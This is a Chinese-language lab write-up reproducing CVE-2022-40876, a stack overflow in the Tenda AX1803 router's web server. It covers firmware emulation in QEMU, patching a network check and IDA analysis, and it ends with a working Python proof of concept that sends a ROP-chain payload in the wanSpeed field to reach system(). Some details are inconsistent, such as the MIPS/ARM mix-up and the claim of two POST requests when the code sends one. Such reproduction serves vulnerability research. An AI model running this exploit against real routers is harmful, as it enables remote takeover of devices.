【工业安全】-CVE-2022-40876- Tenda AX1803路由器 栈溢出漏洞

发布于:2025-02-14 ⋅ 阅读:(34) ⋅ 点赞:(0)

文章目录

1.漏洞描述

2.环境搭建

3.漏洞复现

4.漏洞分析

 4.1:代码分析

 4.2:流量分析

5.poc代码:


1.漏洞描述

漏洞编号:CVE-2022-40876

漏洞名称:Tenda AX1803栈溢出漏洞

威胁等级:严重

漏洞详情:在Tenda路由器中,由fromAdvSetMacMtuWan函数处理的http请求,wanSpeed,cloneType,mac参数可能会导致堆栈溢出并实现拒绝服务或者远程代码执行(RCE)。

影响范围:Tenda AX1803 v1.0.0.1_2890


2.环境搭建

qemu-user系统编译:创建qemu目录,下载qemu-2.5.0.tar.bz2:

https://download.qemu.org/qemu-2.5.0.tar.bz2

1.将下载后的qemu-2.5.0.tar.bz2解压。

2.查找目录linux-user。

3.给目录linux-user的elfload.c 文件中struct elfhdr *ehdr函数中添加&& ehdr->e_shentsize == sizeof(struct elf_shdr) 这个条件。

#配置qemu-user系统:

$./configure --target-list="mips-linux-user mipsel-linux-user arm-linux-user" --static --python=/usr/bin/python2.7

#编译qemu:

$make -j8

#安装qemu:

$sudo make install

安装成功。

3.漏洞复现

在/home/CVE-2022-40876目录下,用qemu-usr用户模式模拟,把固件模拟运行起来。

1.首先在CVE-2022-40876.py同级目录下,binwalk -eM 解压 US_AX1803v2.1br_v1.0.0.1_2890_CN_ZGYD01.bin文件。

2.然后对binwalk解包后的固件中的任何二进制文件执行 file 命令,查看下设备的cpu 架构。

命令:file ./bin/httpd

可知Tenda AX1803路由器的tdhttpd是基于MIPS 架构的 32 位小端序可执行文件

3.给httpd文件可执行权限,命令:chmod +x tdhttpd

4.Tenda AX1803与Tenda W6的区别:

Tenda W6:是在本机上开启80端口模拟路由器

Tenda AX1803:不支持这种模式,必须要有自己的ip,所以在使用 qemu -usr模拟前,要先建立一个虚拟网桥br0,配置一下网络:

sudo apt install uml-utilities bridge-utils
sudo brctl addbr br0 
sudo brctl addif br0 ens33
sudo ifconfig br0 up 
sudo dhclient br0

5.复制squashfs-root目录下的webroot_ro文件到webroot中

命令:

rm -rf webroot 

ln -s webroot_ro/ webroot

5.将user/local/bin目录下qemu-mipsel文件复制到squashfs-root目录,重命名为qemu-arm-static。

注意:如果安装过(或有其它原因)qemu-mipsel可能被重命名为qemu-usr-mipsel

执行模拟命令,sudo qemu-arm-static -L . ./bin/tdhttpd 开始模拟:-L . ./bin/tdhttpd

注意:没有换图。

架构是arm架构而不是mips架构

可执行文件是tdhttpd而不是httpd。

但是卡在这里了,在IDA里面看一下httpd,搜索 welcome,发现是因为有一个check_network检查。把两处“jalr $t9”改为 “li $v0,1”,就能通过检查。

具体修改时,先在 https://disasm.pro/ 上查一下汇编对应的十六进制:

6.将path 后的httpd 替换原来的文件。

重新给httpd文件可执行权限,进入squashfs-root目录,打开终端。

执行命令: sudo  qemu-arm-static -L . ./bin/tdhttpd

路由器运行在80端口。

在浏览器中访问:192.168.124.154:80

用户名和密码都保持为空,登录后获得如下界面:

执行poc后:

4.漏洞分析

4.1:代码分析

使用 binwalk -e 解包固件,获得文件以备后续分析:

根据漏洞通告goform/AdvSetMacMtuWan 请求会触发漏洞,查找可执行文件tdhttpd。

可知tdhttpd位于:

_US_AX1803v2.1br_v1.0.0.1_2890_CN_ZGYD01.bin/squashfs-root/bin/tdhttpd

在ida中查找函数:AdvSetMacMtuWan

发现AdvSetMacMtuWan通过sub_458F0调用了fromAdvSetMacMtuWan函数。

在ida中查找函数:fromAdvSetMacMtuWan

在 sub_8C454 中,调用 sub_4F55C() 对输入参数 a1 进行了一些操作,但没有对wanSpeed变量的长度进行检查:

就可能导致将一个较长的字符串写入 wanSpeed变量中,覆盖掉其他数据,造成栈溢出漏洞。故我们可以构造:

http://<ip router>/goform/AdvSetMacMtuWand+命令

libc_base = 0xfef99000
gadget1 = 0xff08dcdc # mov r0, sp ; blx r3
gadget2 = 0xff01987c # mov r3, r4 ; mov r0, r3 ; pop {r4, pc}
system_addr = 0xfefd06c8

print("--- p32(system_addr) ----")
print(p32(system_addr))
print("--- p32(gadget2) ----")
print(p32(gadget2))
print("--- p32(gadget1) ----")
print(p32(gadget1))
print("--- p32(0xdeadbeef) ----")
print(p32(0xdeadbeef))

payload = b'a'*96 + p32(system_addr) + p32(0xdeadbeef)*6 + p32(gadget2)
payload += p32(0xdeadbeef) + p32(gadget1)

4.2:流量分析 

5.poc代码:

代码复现时环境ip为 192.168.241.131

import requests,sys
from pwn import *

url = "http://192.168.241.134/goform/AdvSetMacMtuWan"

libc_base = 0xfef99000
gadget1 = 0xff08dcdc # mov r0, sp ; blx r3
gadget2 = 0xff01987c # mov r3, r4 ; mov r0, r3 ; pop {r4, pc}
system_addr = 0xfefd06c8

print("--- p32(system_addr) ----")
print(p32(system_addr))
print("--- p32(gadget2) ----")
print(p32(gadget2))
print("--- p32(gadget1) ----")
print(p32(gadget1))
print("--- p32(0xdeadbeef) ----")
print(p32(0xdeadbeef))

payload = b'a'*96 + p32(system_addr) + p32(0xdeadbeef)*6 + p32(gadget2)
payload += p32(0xdeadbeef) + p32(gadget1)
payload = "wan1.connecttype=2&wanMTU=&wanSpeed=%s&cloneType=0&mac=00:00:00:00:00:01&serviceName=&serverName="%payload
content_length = len(payload)
headers = {
    "Host":"192.168.241.134",
    "X-Requested-With":"XMLHttpRequest",
    "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36",
    "Content-Type":"application/x-www-form-urlencoded; charset=UTF-8",
    "Origin":"http://192.168.241.134",
    "Referer":"http://192.168.241.134/main.html",
    "Content-Length":"%d"%content_length
}

r = requests.post(url,headers = headers,data = payload)

实现了两个HTTP POST请求,第一个用来登录,第二个用来执行漏洞利用。


网站公告

今日签到

点亮在社区的每一天
去签到